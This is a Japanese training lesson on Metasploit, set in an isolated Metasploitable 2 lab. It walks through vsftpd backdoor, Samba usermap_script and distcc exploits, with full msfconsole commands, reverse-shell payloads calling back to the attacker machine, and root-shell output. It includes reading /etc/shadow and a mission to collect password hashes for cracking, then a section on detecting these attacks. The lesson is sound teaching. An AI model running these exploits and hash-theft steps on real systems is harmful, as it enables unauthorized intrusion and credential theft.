Metasploit Framework とは

Metasploit Framework は、Rapid7が開発・メンテナンスするオープンソースのペネトレーションテストフレームワークです。2003年の登場以来、セキュリティ専門家・研究者がシステムの脆弱性を検証するための標準ツールとして世界中で使用されています。

Metasploitの主な構成要素:

コンポーネント説明
Exploit脆弱性を突いてターゲットシステムに侵入するコード
Payload侵入後にターゲット上で実行されるコード(Meterpreterなど)
Auxiliaryスキャン・フィンガープリントなど攻撃以外の補助モジュール
Post侵入後の情報収集・権限昇格などのモジュール
Encoderペイロードをエンコードして検知を回避するモジュール
演習環境の隔離を徹底すること

このレッスンで使用するすべてのコマンドは、Metasploitable 2/3 専用の隔離されたホストオンリー仮想ネットワーク内のみで実行してください。Metasploitはインターネット上や許可されていないシステムへの使用は不正アクセス禁止法・コンピュータ詐欺法に違反し、刑事罰の対象となります。実習前に必ず「01 演習環境構築」でネットワーク隔離を確認してください。

演習環境の確認

実習を始める前に、Kali LinuxとMetasploitable 2が同一のホストオンリーネットワーク上にいることを確認します。

Kali Linux 側で確認

ip addr show eth1

例: inet 192.168.56.102/24

Metasploitable 2 のIPアドレスにpingが通るか確認

ping -c 3 192.168.56.101

PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.

64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.45 ms

Nmapで事前スキャンしてターゲットの全体像を把握

sudo nmap -sV -p- 192.168.56.101

Metasploitable 2 の主な脆弱なサービス

Metasploitable 2 には教育目的で意図的に多数の脆弱なサービスが含まれています。主なものを挙げると、vsftpd 2.3.4(バックドア)、OpenSSH 4.7p1(古い実装)、Samba 3.0.20(username mapコマンドインジェクション)、UnrealIRCd(バックドア)、distccd などがあります。

msfconsole の基本操作

Metasploit Framework を起動

msfconsole

起動後のプロンプト

msf6 >

ヘルプの表示

msf6 > help

モジュールの検索

msf6 > search vsftpd

Matching Modules

================

Name Disclosure Date Rank Check

---- --------------- ---- -----

exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No

モジュールの詳細情報を表示

msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

モジュールを選択

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

現在のオプションを確認

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

実習 1 — vsftpd 2.3.4 バックドアの悪用

vsftpd 2.3.4 は2011年7月に公式配布パッケージにバックドアが混入した事件で知られています。ユーザー名末尾に「:)」を付けるとポート6200でバックドアシェルが開くという仕組みです。

モジュールを選択してオプションを設定

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

ターゲットIPを設定

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101

RHOSTS => 192.168.56.101

ペイロードを確認(このexploitはcmd/unixを使用)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

実行

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.56.101:21 - USER: 331 Please specify the password.

[+] 192.168.56.101:21 - Backdoor service has been spawned, handling…

[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened

バックドアシェルでのコマンド実行

id

uid=0(root) gid=0(root) groups=0(root)

whoami

root

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008

セッションを終了

exit

この脆弱性の教訓

vsftpd 2.3.4 の事件はサプライチェーン攻撃の典型例です。正規のパッケージにバックドアが混入されるケースは現在も継続する脅威です。ソフトウェアのハッシュ検証・信頼できるリポジトリからの取得・定期的なアップデートが重要な対策となります。

実習 2 — Samba のコマンドインジェクション(usermap_script)

Samba 3.0.20 には username map script オプションにコマンドインジェクションの脆弱性があります(CVE-2007-2447)。

新しいモジュールを検索・選択

msf6 > search samba usermap

exploit/multi/samba/usermap_script 2007-05-14 excellent No

msf6 > use exploit/multi/samba/usermap_script

オプションの設定

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101

RHOSTS => 192.168.56.101

Reverse TCPペイロードを設定(攻撃者側に接続させる)

msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_netcat

PAYLOAD => cmd/unix/reverse_netcat

自分(Kali)のIPアドレスを設定

msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102

LHOST => 192.168.56.102

全設定を確認

msf6 exploit(multi/samba/usermap_script) > show options

Name Current Setting Required Description

---- --------------- -------- -----------

RHOSTS 192.168.56.101 yes Target IP

RPORT 139 yes Target port (TCP)

LHOST 192.168.56.102 yes Listen address

LPORT 4444 yes Listen port

実行

msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.56.102:4444

[*] Command shell session 2 opened (192.168.56.102:4444 -> 192.168.56.101:…)

[*] Found shell.

rootシェルでの操作

id

uid=0(root) gid=0(root)

cat /etc/shadow | head -5

root:$1$/…/…(パスワードハッシュが見える)

実習 3 — Meterpreter セッションの活用

Meterpreterはメモリ上で動作する高機能なペイロードで、より多くの情報収集・操作が可能です。

Metasploitable 2 の distccd 脆弱性を使用

msf6 > use exploit/unix/misc/distcc_exec

msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.101 msf6 exploit(unix/misc/distcc_exec) > set PAYLOAD cmd/unix/reverse_bash msf6 exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.102 msf6 exploit(unix/misc/distcc_exec) > run

--- Meterpreter を持つ例(linux/x86/meterpreter/reverse_tcp)---

Meterpreter セッションが開いた場合の操作例:

meterpreter > sysinfo

Computer : metasploitable

OS : Linux 2.6.24-16-server #1 SMP

Architecture : i686

Meterpreter : x86/linux

meterpreter > getuid

Server username: root

meterpreter > ls /home

Listing: /home

d msfadmin

d user

ファイルのダウンロード(証拠保全の演習として)

meterpreter > download /etc/passwd /tmp/metasploitable_passwd.txt

ネットワーク情報の収集

meterpreter > ifconfig

プロセス一覧

meterpreter > ps

セッションをバックグラウンドに移動

meterpreter > background

[*] Backgrounding session 1…

セッション一覧の確認

msf6 > sessions -l

Active sessions

===============

Id Name Type Connection

— ---- ---- ----------

1 meterpreter x86/linux 192.168.56.102:4444 -> 192.168.56.101:…

セッションへの再接続

msf6 > sessions -i 1

Meterpreter の特徴

Meterpreterはターゲットのディスクに書き込まずメモリ上で動作するため、フォレンジック的な痕跡が残りにくい設計です。これが実際の攻撃者に好まれる理由であり、防御側がメモリフォレンジックやEDR(Endpoint Detection and Response)を重視する理由でもあります。

防御側の視点:攻撃の検出

攻撃を理解したうえで、防御側がどのように検出するかを学びます。

ネットワーク側での検出:

  • FTP接続後にポート6200への接続が発生する(vsftpdバックドアの特徴的なパターン)
  • SMBポート(139/445)から発信方向のTCP接続(Samba reverse shell)
  • IDS/IPS のシグネチャ(Snort ルール sid:3004,3005 など Metasploit 関連)

ホスト側での検出:

  • /var/log/auth.log/var/log/syslog への異常なエントリ
  • 新しいプロセスの生成(特に root 権限の unexpecte な bash/sh)
  • netstat -antp で予期しないLISTEN/ESTABLISHEDポート

ターゲット側(別ターミナルでMetasploitable 2 に直接ログインして確認)

SSH等でMetasploitable 2 にログイン後:

認証ログの確認

sudo tail -50 /var/log/auth.log

ネットワーク接続の確認

netstat -antp | grep ESTABLISHED

予期しないリスニングポートの確認

netstat -antp | grep LISTEN

最近実行されたプロセスの確認

ps aux —sort=-%cpu | head -20


やってみよう — 演習ミッション

演習ミッション

以下の課題を Metasploitable 2 を使って自分の手で試してみましょう。

ミッション 1(基礎): search コマンドを使って UnrealIRCd のバックドアモジュールを見つけ、セッションを確立してください。(ヒント:search unreal

ミッション 2(応用): db_nmap コマンドを使ってスキャン結果をMetasploitのデータベースに保存し、hosts / services コマンドで結果を閲覧してください。(ヒント:先に msfdb init でDBを初期化)

ミッション 3(発展): 取得したシェルセッションから /etc/shadow のハッシュを入手し、次のレッスン(Hashcat)で使うための hashes.txt を作成してください。


トラブルシューティング

症状原因対処法
Exploit completed, but no session was createdターゲットがパッチ済み/バージョンが違うnmap -sV でバージョンを再確認
Connection refusedサービスが起動していないMetasploitable 2 を再起動し、サービスが動作しているか確認
Handler failed to bindLHOSTのポートが使用中set LPORT 5555 などで別ポートに変更
msfconsole が起動しないPostgreSQLサービスが停止中sudo service postgresql start && msfdb reinit
セッションが即座に切断される不安定な接続-j オプションでバックグラウンド実行後、sessions -i で接続

PostgreSQLサービスを起動

sudo service postgresql start

Metasploitデータベースを初期化(初回のみ)

sudo msfdb init

データベースの状態確認

msfdb status

再度起動

msfconsole


理解度チェック

Metasploit の「Payload」とはどれを指しますか?